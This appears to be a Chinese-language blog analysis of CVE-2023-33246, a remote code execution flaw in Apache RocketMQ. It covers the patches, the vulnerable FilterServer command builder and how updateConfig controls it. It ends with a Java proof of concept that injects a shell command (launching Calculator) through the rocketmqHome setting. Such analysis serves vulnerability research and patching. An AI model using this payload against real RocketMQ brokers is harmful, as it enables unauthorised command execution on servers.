CVE-2023-33246分析[RocketMQ RCE]

293

信息搜集

  • 网上只能搜到这些描述,大致意思是通过RocketMQ的修改配置文件功能来rce。
  • 因为是从@许少那知道有这洞的,所以请教了一下许少,知道了漏洞的补丁在哪里。

补丁分析

补丁1

  • 这个补丁就是当时用updateConfig功能时,遇到一些config,会nop掉,比如说brokerConfigPath
  • 总结一下该补丁中的黑名单
    brokerConfigPath
    configStorePath
    kvConfigPath
    configStorePathName
    

补丁2

  • 从信息中可以看到是完全移除了filter server这个模块,这个模块本来是旧版本的mq用来消息过滤的,可是后来被sql规则替换了。 补丁中主要做的就是把这些代码全删了(以前没删干净) 这里直接提取关键类
public class FilterServerManager {
    // ...
    public void createFilterServer() {
        int more =
            this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
        String cmd = this.buildStartCommand();
        for (int i = 0; i < more; i++) {
            FilterServerUtil.callShell(cmd, log);
        }
    }

    private String buildStartCommand() {
        String config = "";
        if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) {
            config = String.format("-c %s", BrokerStartup.CONFIG_FILE_HELPER.getFile());
        }

        if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
            config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
        }

        if (NetworkUtil.isWindowsPlatform()) {
            return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        } else {
            return String.format("sh %s/bin/startfsrv.sh %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        }
    }
    // ...
 }
public class FilterServerUtil {
   public static void callShell(final String shellString, final Logger log) {
       Process process = null;
       try {
           String[] cmdArray = splitShellString(shellString);
           process = Runtime.getRuntime().exec(cmdArray);
           process.waitFor();
           log.info("CallShell: <{}> OK", shellString);
       } catch (Throwable e) {
           log.error("CallShell: readLine IOException, {}", shellString, e);
       } finally {
           if (null != process)
               process.destroy();
       }
   }

   private static String[] splitShellString(final String shellString) {
       return shellString.split(" ");
   }
}

思路分析

  • 首先根据补丁2,可以发现FilterServer这里其实存在命令执行,而构造的method如下
    private String buildStartCommand() {
        String config = "";
        if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) {
            config = String.format("-c %s", BrokerStartup.CONFIG_FILE_HELPER.getFile());
        }
    
        if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
            config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
        }
    
        if (NetworkUtil.isWindowsPlatform()) {
            return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        } else {
            return String.format("sh %s/bin/startfsrv.sh %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        }
    }
    
  • 根据补丁1,我们可以猜测BrokerStartup.CONFIG_FILE_HELPER.getFile()可能就是补丁1中禁用掉的brokerConfigPath。
  • 那么问题转化为了,对于Java的Runtime.exec,其中${EvilCMD}可控,该如何RCE。
    sh ${RocketmqHome}/bin/startfsrv.sh -c ${EvilCMD} -n ${NamesrvAddr}
    
  • 这里我思考了很久,然后发现不能。。。
  • 但是我突然想到${RocketmqHome}和${NamesrvAddr}其实都是可以通过updateConfig来动态修改的。那么问题转化为了在1,2,3变量可控的时候如何rce。
    sh ${1}/bin/startfsrv.sh -c ${2} -n ${3}
    

漏洞复现

  • 首先来取受影响代码,我是通过IDEA本地启动了NameServer和Broker,需要在启动项中添加RocketmqHome的地址
  • 启动broker的时候,我自己添加了一点日志输出,会发现其实Broker会定时调用你FilterServerManager#createFilterServer方法
    public void createFilterServer() {
        int more =
                this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
        String cmd = this.buildStartCommand();
        System.out.println("注意cmd:"+cmd);
        for (int i = 0; i < more; i++) {
            FilterServerUtil.callShell(cmd, log);
        }
    }
    
    
  • 公布之前的答案,实际上只需要控制${1}就可以,即控制RocketmqHome的内容为-c $@|sh . echo open -a Calculator;和补丁1的黑名单没啥关系。当然这个exec技巧也是蛮马叉虫的。
  • 但是触发FilterServerUtil.callShell还需要一个条件,就是FilterServerNums不为0,这个也很ez
    int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
    
  • 最终poc
    @Test
    public void updateConfig() throws Exception {
        // 创建 Properties 对象
        Properties props = new Properties();
        props.setProperty("rocketmqHome","-c $@|sh . echo open -a Calculator;");
        props.setProperty("filterServerNums","1");
    
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        admin.setNamesrvAddr("localhost:9876");
        admin.start();
    
        // 更新配置文件
        admin.updateBrokerConfig("127.0.0.1:10911", props);
    
        Properties brokerConfig = admin.getBrokerConfig("localhost:10911");
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    
    }
    
    
    

其他

  • CVE中也有提到可以伪造rocketmq通信协议(可以去看看mq里是咋用netty的),来达到同样更新配置的效果,意思是只要可以broker的端口开放,就可以rce。
  • 前辈们nb!